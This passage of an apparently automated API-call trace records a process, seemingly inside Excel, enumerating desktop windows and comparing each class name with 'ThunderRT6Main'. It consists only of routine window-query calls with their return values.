| out: lpdwProcessId=0x0) returned 0x6ec [0093.931] GetWindow (hWnd=0x10086, uCmd=0x2) returned 0x10082 [0093.931] GetClassNameA (in: hWnd=0x10082, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0093.931] lstrcmpA (lpString1="NotifyIconOverflowWindow", lpString2="ThunderRT6Main") returned -1 [0093.931] GetWindowThreadProcessId (in: hWnd=0x10082, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0093.931] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x10060 [0093.931] GetClassNameA (in: hWnd=0x10060, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="#43") returned 3 [0093.931] lstrcmpA (lpString1="#43", lpString2="ThunderRT6Main") returned -1 [0093.931] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x748 [0093.931] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x10062 [0093.931] GetClassNameA (in: hWnd=0x10062, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.931] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.931] GetWindowThreadProcessId (in: hWnd=0x10062, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x748 [0093.931] GetWindow (hWnd=0x10062, uCmd=0x2) returned 0x10050 [0093.931] GetClassNameA (in: hWnd=0x10050, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0093.931] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0093.931] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x638 [0093.931] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x10058 [0093.931] GetClassNameA (in: hWnd=0x10058, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.931] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.931] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x638 [0093.931] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10054 [0093.931] GetClassNameA (in: hWnd=0x10054, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0093.931] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0093.931] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0093.931] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004a [0093.931] GetClassNameA (in: hWnd=0x1004a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DDEMLEvent") returned 10 [0093.931] lstrcmpA (lpString1="DDEMLEvent", lpString2="ThunderRT6Main") returned -1 [0093.931] GetWindowThreadProcessId (in: hWnd=0x1004a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0093.931] GetWindow (hWnd=0x1004a, uCmd=0x2) returned 0x20046 [0093.931] GetClassNameA (in: hWnd=0x20046, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="DDEMLMom") returned 8 [0093.931] lstrcmpA (lpString1="DDEMLMom", lpString2="ThunderRT6Main") returned -1 [0093.931] GetWindowThreadProcessId (in: hWnd=0x20046, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0093.931] GetWindow (hWnd=0x20046, uCmd=0x2) returned 0x10048 [0093.931] GetClassNameA (in: hWnd=0x10048, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.931] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.931] GetWindowThreadProcessId (in: hWnd=0x10048, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0093.931] GetWindow (hWnd=0x10048, uCmd=0x2) returned 0x30040 [0093.931] GetClassNameA (in: hWnd=0x30040, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0093.931] lstrcmpA (lpString1="COMTASKSWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0093.931] GetWindowThreadProcessId (in: hWnd=0x30040, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x608 [0093.931] GetWindow (hWnd=0x30040, uCmd=0x2) returned 0x10044 [0093.932] GetClassNameA (in: hWnd=0x10044, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Dwm") returned 3 [0093.932] lstrcmpA (lpString1="Dwm", lpString2="ThunderRT6Main") returned -1 [0093.932] GetWindowThreadProcessId (in: hWnd=0x10044, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x658 [0093.932] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x10042 [0093.932] GetClassNameA (in: hWnd=0x10042, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.932] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.932] GetWindowThreadProcessId (in: hWnd=0x10042, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x608 [0093.932] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x1005e [0093.932] GetClassNameA (in: hWnd=0x1005e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0093.932] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0093.932] GetWindowThreadProcessId (in: hWnd=0x1005e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x72c [0093.932] GetWindow (hWnd=0x1005e, uCmd=0x2) returned 0x1005c [0093.932] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="CicLoaderWndClass") returned 17 [0093.932] lstrcmpA (lpString1="CicLoaderWndClass", lpString2="ThunderRT6Main") returned -1 [0093.932] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x72c [0093.932] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x20074 [0093.932] GetClassNameA (in: hWnd=0x20074, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Progman") returned 7 [0093.932] lstrcmpA (lpString1="Progman", lpString2="ThunderRT6Main") returned -1 [0093.932] GetWindowThreadProcessId (in: hWnd=0x20074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0093.932] GetWindow (hWnd=0x20074, uCmd=0x2) returned 0x0 [0093.932] IMalloc:Alloc (This=0x7fefe465380, cb=0x18) returned 0x6115910 [0093.932] IMalloc:Free (This=0x7fefe465380, pv=0x6115910) [0096.699] GetCurrentThreadId () returned 0xa30 [0096.699] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0096.699] GetDesktopWindow () returned 0x10010 [0096.699] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x100b2 [0096.700] GetClassNameA (in: hWnd=0x100b2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0096.700] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0096.700] GetWindowThreadProcessId (in: hWnd=0x100b2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0096.700] GetWindow (hWnd=0x100b2, uCmd=0x2) returned 0x100b0 [0096.700] GetClassNameA (in: hWnd=0x100b0, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0096.700] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0096.700] GetWindowThreadProcessId (in: hWnd=0x100b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0096.700] GetWindow (hWnd=0x100b0, uCmd=0x2) returned 0x10098 [0096.700] GetClassNameA (in: hWnd=0x10098, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0096.700] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0096.700] GetWindowThreadProcessId (in: hWnd=0x10098, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0096.700] GetWindow (hWnd=0x10098, uCmd=0x2) returned 0x1009c [0096.700] GetClassNameA (in: hWnd=0x1009c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0096.700] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0096.700] GetWindowThreadProcessId (in: hWnd=0x1009c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0096.700] GetWindow (hWnd=0x1009c, uCmd=0x2) returned 0x200a0 [0096.700] GetClassNameA (in: hWnd=0x200a0, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0096.700] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0096.700] GetWindowThreadProcessId (in: hWnd=0x200a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0096.700] GetWindow (hWnd=0x200a0, uCmd=0x2) returned 0x1007e [0096.700] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0096.700] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0096.700] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0096.700] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x10094 [0096.700] GetClassNameA (in: hWnd=0x10094, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0096.700] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0096.700] GetWindowThreadProcessId (in: hWnd=0x10094, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0096.700] GetWindow (hWnd=0x10094, uCmd=0x2) returned 0x10096 [0096.700] GetClassNameA (in: hWnd=0x10096, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0096.700] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0096.700] GetWindowThreadProcessId (in: hWnd=0x10096, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0096.700] GetWindow (hWnd=0x10096, uCmd=0x2) returned 0x10076 [0096.700] GetClassNameA (in: hWnd=0x10076, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Button") returned 6 [0096.700] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0096.700] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0096.700] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10070 [0096.701] GetClassNameA (in: hWnd=0x10070, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0096.701] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0096.701] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0096.701] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x10056 [0096.701] GetClassNameA (in: hWnd=0x10056, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.701] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.701] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0096.701] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1005a [0096.701] GetClassNameA (in: hWnd=0x1005a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0096.701] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0096.701] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0096.701] GetWindow (hWnd=0x1005a, uCmd=0x2) returned 0x10142 [0096.701] GetClassNameA (in: hWnd=0x10142, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ATL:000007FEF32B52C0") returned 20 [0096.701] lstrcmpA (lpString1="ATL:000007FEF32B52C0", lpString2="ThunderRT6Main") returned -1 [0096.701] GetWindowThreadProcessId (in: hWnd=0x10142, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0096.701] GetWindow (hWnd=0x10142, uCmd=0x2) returned 0x1013c [0096.701] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.701] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.701] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6f8 [0096.701] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x1013a [0096.701] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0096.701] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0096.701] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6f8 [0096.701] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10112 [0096.701] GetClassNameA (in: hWnd=0x10112, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0096.701] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0096.701] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0096.701] GetWindow (hWnd=0x10112, uCmd=0x2) returned 0x10104 [0096.701] GetClassNameA (in: hWnd=0x10104, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0096.701] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0096.701] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0096.701] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x100f2 [0096.701] GetClassNameA (in: hWnd=0x100f2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0096.701] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0096.701] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0096.701] GetWindow (hWnd=0x100f2, uCmd=0x2) returned 0x100ca [0096.701] GetClassNameA (in: hWnd=0x100ca, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0096.701] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0096.701] GetWindowThreadProcessId (in: hWnd=0x100ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0096.702] GetWindow (hWnd=0x100ca, uCmd=0x2) returned 0x500ba [0096.702] GetClassNameA (in: hWnd=0x500ba, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0096.702] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0096.702] GetWindowThreadProcessId (in: hWnd=0x500ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0096.702] GetWindow (hWnd=0x500ba, uCmd=0x2) returned 0x100c2 [0096.702] GetClassNameA (in: hWnd=0x100c2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0096.702] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0096.702] GetWindowThreadProcessId (in: hWnd=0x100c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0096.702] GetWindow (hWnd=0x100c2, uCmd=0x2) returned 0x10236 [0096.702] GetClassNameA (in: hWnd=0x10236, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0096.702] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0096.702] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0096.702] GetWindowLongA (hWnd=0x10236, nIndex=-16) returned -1946157056 [0096.702] GetWindowLongPtrA (hWnd=0x10236, nIndex=-6) returned 0x0 [0096.702] GetWindowLongPtrA (hWnd=0x10236, nIndex=-6) returned 0x0 [0096.702] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x201ae [0096.702] GetClassNameA (in: hWnd=0x201ae, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.702] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.702] GetWindowThreadProcessId (in: hWnd=0x201ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0096.702] GetWindowLongA (hWnd=0x201ae, nIndex=-16) returned -1946157056 [0096.702] GetWindowLongPtrA (hWnd=0x201ae, nIndex=-6) returned 0x13f190000 [0096.702] GetWindowLongPtrA (hWnd=0x201ae, nIndex=-6) returned 0x13f190000 [0096.702] GetWindow (hWnd=0x201ae, uCmd=0x2) returned 0x20262 [0096.702] GetClassNameA (in: hWnd=0x20262, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ConsoleWindowClass") returned 18 [0096.702] lstrcmpA (lpString1="ConsoleWindowClass", lpString2="ThunderRT6Main") returned -1 [0096.702] GetWindowThreadProcessId (in: hWnd=0x20262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb84 [0096.702] GetWindow (hWnd=0x20262, uCmd=0x2) returned 0x20270 [0096.702] GetClassNameA (in: hWnd=0x20270, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="IME") returned 3 [0096.702] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0096.702] GetWindowThreadProcessId (in: hWnd=0x20270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb94 [0096.702] GetWindow (hWnd=0x20270, uCmd=0x2) returned 0x302dc [0096.702] GetClassNameA (in: hWnd=0x302dc, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0096.702] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0096.702] GetWindowThreadProcessId (in: hWnd=0x302dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0096.702] GetWindowLongA (hWnd=0x302dc, nIndex=-16) returned -1946157056 [0096.702] GetWindowLongPtrA (hWnd=0x302dc, nIndex=-6) returned 0x7fee5bf0000 [0096.702] IsWindowEnabled (hWnd=0x302dc) returned 0 [0096.702] GetPropA (hWnd=0x302dc, lpString=0xc131) returned 0x1 [0096.702] RemovePropA (hWnd=0x302dc, lpString=0xc131) returned 0x1 [0096.702] EnableWindow (hWnd=0x302dc, bEnable=1) returned 1 [0096.702] NtdllDefWindowProc_A (hWnd=0x302dc, Msg=0xa, wParam=0x1, lParam=0x0) returned 0x0 [0096.703] GetWindow (hWnd=0x302dc, uCmd=0x2) returned 0x302c2 [0096.703] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0096.703] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0096.703] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0096.703] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned 382664704 [0096.703] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x13f190000 [0096.703] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x13f190000 [0096.703] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x30242 [0096.703] GetClassNameA (in: hWnd=0x30242, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0096.703] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0096.703] GetWindowThreadProcessId (in: hWnd=0x30242, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0096.703] GetWindowLongA (hWnd=0x30242, nIndex=-16) returned -1778384896 [0096.703] GetWindowLongPtrA (hWnd=0x30242, nIndex=-6) returned 0x0 [0096.703] GetWindowLongPtrA (hWnd=0x30242, nIndex=-6) returned 0x0 [0096.703] GetWindow (hWnd=0x30242, uCmd=0x2) returned 0x40244 [0096.703] GetClassNameA (in: hWnd=0x40244, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0096.703] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0096.703] GetWindowThreadProcessId (in: hWnd=0x40244, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0096.703] GetWindowLongA (hWnd=0x40244, nIndex=-16) returned -1778384896 [0096.703] GetWindowLongPtrA (hWnd=0x40244, nIndex=-6) returned 0x0 [0096.703] GetWindowLongPtrA (hWnd=0x40244, nIndex=-6) returned 0x0 [0096.703] GetWindow (hWnd=0x40244, uCmd=0x2) returned 0x20288 [0096.703] GetClassNameA (in: hWnd=0x20288, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0096.703] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0096.703] GetWindowThreadProcessId (in: hWnd=0x20288, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0096.703] GetWindowLongA (hWnd=0x20288, nIndex=-16) returned -1778384896 [0096.703] GetWindowLongPtrA (hWnd=0x20288, nIndex=-6) returned 0x0 [0096.703] GetWindowLongPtrA (hWnd=0x20288, nIndex=-6) returned 0x0 [0096.703] GetWindow (hWnd=0x20288, uCmd=0x2) returned 0x20286 [0096.703] GetClassNameA (in: hWnd=0x20286, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0096.703] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0096.703] GetWindowThreadProcessId (in: hWnd=0x20286, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0096.703] GetWindowLongA (hWnd=0x20286, nIndex=-16) returned -1778384896 [0096.703] GetWindowLongPtrA (hWnd=0x20286, nIndex=-6) returned 0x0 [0096.703] GetWindowLongPtrA (hWnd=0x20286, nIndex=-6) returned 0x0 [0096.703] GetWindow (hWnd=0x20286, uCmd=0x2) returned 0x30252 [0096.703] GetClassNameA (in: hWnd=0x30252, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0096.703] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0096.703] GetWindowThreadProcessId (in: hWnd=0x30252, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0096.703] GetWindowLongA (hWnd=0x30252, nIndex=-16) returned 1149272145 [0096.703] GetWindow (hWnd=0x30252, uCmd=0x2) returned 0x102b0 [0096.703] GetClassNameA (in: hWnd=0x102b0, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0096.703] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0096.704] GetWindowThreadProcessId (in: hWnd=0x102b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0096.704] GetWindow (hWnd=0x102b0, uCmd=0x2) returned 0x20256 [0096.704] GetClassNameA (in: hWnd=0x20256, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0096.704] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0096.704] GetWindowThreadProcessId (in: hWnd=0x20256, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0096.704] GetWindowLongA (hWnd=0x20256, nIndex=-16) returned 213909504 [0096.704] GetWindowLongPtrA (hWnd=0x20256, nIndex=-6) returned 0x7feed7a0000 [0096.704] GetWindowLongPtrA (hWnd=0x20256, nIndex=-6) returned 0x7feed7a0000 [0096.704] GetWindow (hWnd=0x20256, uCmd=0x2) returned 0x10246 [0096.704] GetClassNameA (in: hWnd=0x10246, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0096.704] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0096.704] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0096.704] GetWindowLongA (hWnd=0x10246, nIndex=-16) returned -2080374784 [0096.704] GetWindowLongPtrA (hWnd=0x10246, nIndex=-6) returned 0x7feefb40000 [0096.704] GetWindowLongPtrA (hWnd=0x10246, nIndex=-6) returned 0x7feefb40000 [0096.704] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x20224 [0096.704] GetClassNameA (in: hWnd=0x20224, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0096.704] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0096.704] GetWindowThreadProcessId (in: hWnd=0x20224, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0096.704] GetWindowLongA (hWnd=0x20224, nIndex=-16) returned -2080374784 [0096.704] GetWindowLongPtrA (hWnd=0x20224, nIndex=-6) returned 0x7fefe290000 [0096.704] GetWindowLongPtrA (hWnd=0x20224, nIndex=-6) returned 0x7fefe290000 [0096.704] GetWindow (hWnd=0x20224, uCmd=0x2) returned 0x101ee [0096.704] GetClassNameA (in: hWnd=0x101ee, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0096.704] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0096.704] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0096.704] GetWindowLongA (hWnd=0x101ee, nIndex=-16) returned -2046820352 [0096.704] GetWindowLongPtrA (hWnd=0x101ee, nIndex=-6) returned 0x0 [0096.704] GetWindowLongPtrA (hWnd=0x101ee, nIndex=-6) returned 0x0 [0096.704] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x101ec [0096.704] GetClassNameA (in: hWnd=0x101ec, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0096.704] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0096.704] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0096.704] GetWindowLongA (hWnd=0x101ec, nIndex=-16) returned -2046820352 [0096.704] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x0 [0096.704] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x0 [0096.704] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ea [0096.704] GetClassNameA (in: hWnd=0x101ea, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0096.704] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0096.704] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0096.704] GetWindowLongA (hWnd=0x101ea, nIndex=-16) returned -2046820352 [0096.704] GetWindowLongPtrA (hWnd=0x101ea, nIndex=-6) returned 0x0 [0096.704] GetWindowLongPtrA (hWnd=0x101ea, nIndex=-6) returned 0x0 [0096.704] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x101e8 [0096.704] GetClassNameA (in: hWnd=0x101e8, lpClassName=0x20dc50, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0096.704] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0096.705] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0096.705] GetWindowLongA (hWnd=0x101e8, nIndex=-16) returned -2046820352 [0096.705] GetWindowLongPtrA (hWnd=0x101e8, 